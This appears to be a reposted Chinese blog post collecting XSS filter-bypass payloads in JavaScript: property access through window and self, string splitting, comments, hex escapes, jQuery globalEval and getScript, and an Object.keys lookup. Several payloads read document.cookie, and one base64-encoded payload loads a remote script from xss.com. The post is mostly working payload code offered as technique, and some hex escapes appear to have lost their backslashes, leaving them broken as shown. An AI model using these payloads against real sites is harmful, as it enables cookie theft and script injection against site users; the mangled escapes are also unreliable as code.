zoukankan      html  css  js  c++  java
  • 各种变异绕过XSS过滤器

    各种变异绕过XSS过滤器(Various variations bypass the XSS filter )

    文章来自:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html  我超怕的

    利用window等来操纵会被认为是全局变量 window.self 与self同样效果

    1、window

    window["document"]["cookie"] //代替document.cookie

    2、window

    window['alert'](["document"]["cookie"]); //代替 alert(document.cookie)

    3、self

    self["alert"]("123xss") ;//代替传统alert

    4、注释

    (/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替传统alert

    5、利用拼接( self替换成window同样效果)

    self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替传统alert

    6、利用十六进制( self替换成window同样效果)

    self["x61x6cx65x72x74"](
    
       self["x64x6fx63x75x6dx65x6ex74"]
    
           ["x63x6fx6fx6bx69x65"]
    
    )   //alert(document.cookie)
    
    

    7、利用BASE64( self替换成window同样效果)

    self["x65x76x61x6c"]( //eval
    
      self["x61x74x6fx62"]( //atob   base-64解码方法,base-64 编码使用方法是 btoa()
    
     "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=")
    
    )//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);

    8、利用JQuery

    1) self["$"]["globalEval"]("alert(123)");  //alert(123)
    
    2) self["x24"](//$
    
      self["x67x6cx6fx62x61x6cx45x76x61x64"]//globalEval
    
      ["x61x6cx65x72x74x28x31x32x33x29"] //alert(123)
    )
    3) self[
    "$"]["getScript"](url). getScript //从url获取js脚本

    9、利用Object.keys

     a=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //获取alert在数组中的位置
     self[Object.keys(self)[7]]("123") // 假设通过上述代码执行结果为7  执行效果:alert("123")
    //如果不允许我们使用“alert”字符串,并且上面的方法都不能使用,
    //我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。
    //我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。
    //然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$:
    a = function() { c=0; for(i in self) { if(/^a[rel]+t$/.test(i)) return c; c++; } } a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} self[Object.keys(self)[a()]]("123") // alert("123")

    以上思路来自 嘶吼。

  • 相关阅读:
    管道通信
    进程间的八种通信方式----共享内存是最快的 IPC 方式
    归并排序时间复杂度
    vector中的push_back函数的意思是什么
    如何实现android和服务器长连接
    android中实现service动态更新UI界面
    android中如何实现UI的实时更新---需要考虑电量和流量
    Map集合排序
    (二十一)自定义Tabbar
    (二十)首页内容详细【详细页】+ 评论 + 回复
  • 原文地址:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html
Copyright © 2011-2022 走看看